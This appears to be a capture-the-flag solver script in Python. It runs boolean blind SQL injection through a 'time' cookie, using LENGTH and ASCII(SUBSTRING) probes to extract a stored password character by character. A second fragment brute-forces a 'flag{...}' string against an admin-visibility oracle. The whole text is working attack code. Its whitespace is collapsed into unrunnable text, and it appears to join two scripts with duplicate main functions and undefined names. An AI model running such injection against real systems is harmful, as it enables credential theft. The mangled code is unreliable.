defquery(session: requests.Session, condition: str) -> bool: """Return the boolean result observed through the time-cookie response.""" payload = f"1 AND ({condition})" response = session.get( BASE_URL, cookies={"time": payload}, timeout=10, ) response.raise_for_status() return TRUE_MARKER in response.text
deffind_length(session: requests.Session) -> int: expression = f"LENGTH((SELECT {COLUMN} FROM {TABLE} LIMIT 0,1))" for length inrange(1, MAX_LENGTH + 1): if query(session, f"{expression}={length}"): return length raise RuntimeError("password length was not found within MAX_LENGTH")
deffind_character(session: requests.Session, position: int) -> str: expression = ( f"ASCII(SUBSTRING((SELECT {COLUMN} FROM {TABLE} LIMIT 0,1)," f"{position},1))" ) for codepoint inrange(32, 127): if query(session, f"{expression}={codepoint}"): returnchr(codepoint) raise RuntimeError(f"ASCII value not found at position {position}")
defextract_password(session: requests.Session) -> str: length = find_length(session) return"".join( find_character(session, position) for position inrange(1, length + 1) )
defmain() -> int: with requests.Session() as session: password = extract_password(session) print(password) return0
defrecover_flag(session): flag = "flag{" for _ inrange(MAX_LENGTH - len(flag)): for character in CHARACTERS: candidate = flag + character if admin_visible(session, candidate): flag = candidate print(flag) break else: raise RuntimeError(f"no candidate matched after {flag!r}") if flag.endswith("}"): return flag raise RuntimeError("closing brace was not reached")
defmain(): session = make_session() flag = recover_flag(session) print(f"flag={flag}")